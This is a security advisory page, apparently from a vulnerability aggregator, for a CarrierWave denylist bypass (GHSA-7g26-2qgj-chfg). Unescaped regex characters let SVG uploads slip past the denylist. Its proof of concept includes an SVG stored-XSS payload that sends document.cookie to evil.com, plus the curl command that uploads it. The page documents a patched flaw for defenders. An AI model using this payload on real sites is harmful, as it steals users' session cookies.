CarrierWave has a denylisted_content_type bypass via Unescaped Regex MetacharactersGHSA-7g26-2qgj-chfg
MEDIUMFix: carrierwaveuploader/carrierwave@21221ccGHSA-7g26-2qgj-chfg is a medium-severity (CVSS 4.7) Cross-site Scripting (XSS) vulnerability in carrierwave. A fix is available for carrierwave — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-7g26-2qgj-chfg.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-7g26-2qgj-chfg by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 384,534 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
carrierwave💎carrierwaveReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Summary
CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.
Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.
Details
In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:
def denylisted_content_type?(denylist, content_type)
Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
Array(allowlist).any? do |item|
item = Regexp.quote(item) if item.class != Regexp
content_type =~ /\A#{item}/
end
end
Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.
Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:
rubydef denylisted_content_type?(denylist, content_type)
Array(denylist).any? do |item|
item = Regexp.quote(item) if item.class != Regexp
content_type =~ /\A#{item}/
end
end
PoC
app.rb
require "sinatra"
require "carrierwave"
require "fileutils"
FileUtils.mkdir_p("uploads/files")
CarrierWave.configure do |config|
config.root = File.expand_path("uploads")
config.store_dir = "files"
end
class VaultUploader < CarrierWave::Uploader::Base
storage :file
def store_dir = "files"
def content_type_denylist = %w[image/svg+xml]
end
post "/upload" do
content_type :json
san = CarrierWave::SanitizedFile.new(
tempfile: params[:file][:tempfile],
filename: params[:file][:filename],
content_type: params[:file][:type]
)
uploader = VaultUploader.new
begin
uploader.store!(san)
{ result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
rescue CarrierWave::IntegrityError => e
{ result: "blocked", message: e.message }.to_json
end
end
bundle exec ruby app.rb &
echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg
curl -X POST http://localhost:4567/upload \
-F "[email protected];type=image/svg+xml"
Expected response (denylist working):
json{ "result": "blocked", "message": "..." }
Actual response:
json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }
Impact
Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | carrierwave | ≥ 3.0.0.beta&&< 3.1.3 | 3.1.3bundle update carrierwave --conservative |
| 💎RubyGems | carrierwave | all versions | 2.2.7bundle update carrierwave --conservative |
Affected Products
carrierwavecarrierwave_projectDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for carrierwave, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update carrierwave to 3.1.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7g26-2qgj-chfg is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is GHSA-7g26-2qgj-chfg in your dependencies?
Find it across RubyGems, including transitive dependencies.